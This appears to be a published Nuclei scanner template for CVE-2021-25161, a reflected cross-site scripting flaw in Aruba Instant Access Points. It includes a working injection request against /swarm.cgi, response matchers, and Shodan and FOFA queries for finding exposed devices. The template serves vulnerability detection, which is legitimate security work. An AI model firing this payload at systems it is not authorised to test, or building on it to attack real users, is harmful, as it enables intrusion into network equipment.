A remote cross-site scripting (xss) vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.7 and below; Aruba Instant 8.7.x: 8.7.1.1 and below.
PoC代码[已公开]
id: CVE-2021-25161
info:
name: Aruba Instant Access Point (IAP) - Cross-Site Scripting
author: ritikchaddha
severity: medium
description: |
A remote cross-site scripting (xss) vulnerability was discovered in some Aruba Instant Access Point (IAP) products in version(s): Aruba Instant 6.4.x: 6.4.4.8-4.2.4.17 and below; Aruba Instant 6.5.x: 6.5.4.18 and below; Aruba Instant 8.3.x: 8.3.0.14 and below; Aruba Instant 8.5.x: 8.5.0.11 and below; Aruba Instant 8.6.x: 8.6.0.7 and below; Aruba Instant 8.7.x: 8.7.1.1 and below.
remediation: |
Upgrade to the latest version of Swarm that addresses this vulnerability.Implement proper input validation and output encoding for user-supplied data.
reference:
- https://alephsecurity.com/2021/07/15/aruba-instant/?utm_source=feedly
- https://nvd.nist.gov/vuln/detail/CVE-2021-25161
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-25161
cwe-id: CWE-79
epss-score: 0.04135
epss-percentile: 0.88207
metadata:
verified: true
max-request: 1
vendor: aruba
product: aruba-instant-access-point
shodan-query: title:"Aruba"
fofa-query: body="jscripts/third_party/raphael-treemap.min.js" || body="jscripts/third_party/highcharts.src.js"
tags: cve,cve2021,xss,aruba,web
http:
- raw:
- |
GET /swarm.cgi?opcode=cp_preview&bg_color=AA&banner_color=B&banner_text=AAA&terms_of_use=AAA&use_policy=BBB&authenticated=False&decoded_texts="%27;%0Aalert(document.domain);//%0a%27 HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- var decode_string = '"';
- alert(document.domain);//
condition: and
- type: word
part: content_type
words:
- text/html
- type: status
status:
- 200
# digest: 490a0046304402207be3693019cd42ae9f18ab56e839d76ca7c7bdf17a671a2340f98c871bff3f2d02207e461c5143cd42fcacf6f55236796cb3c1eb231e156192e45db7ab71bd0584f0:922c64590222798bb761d5b6d8e72950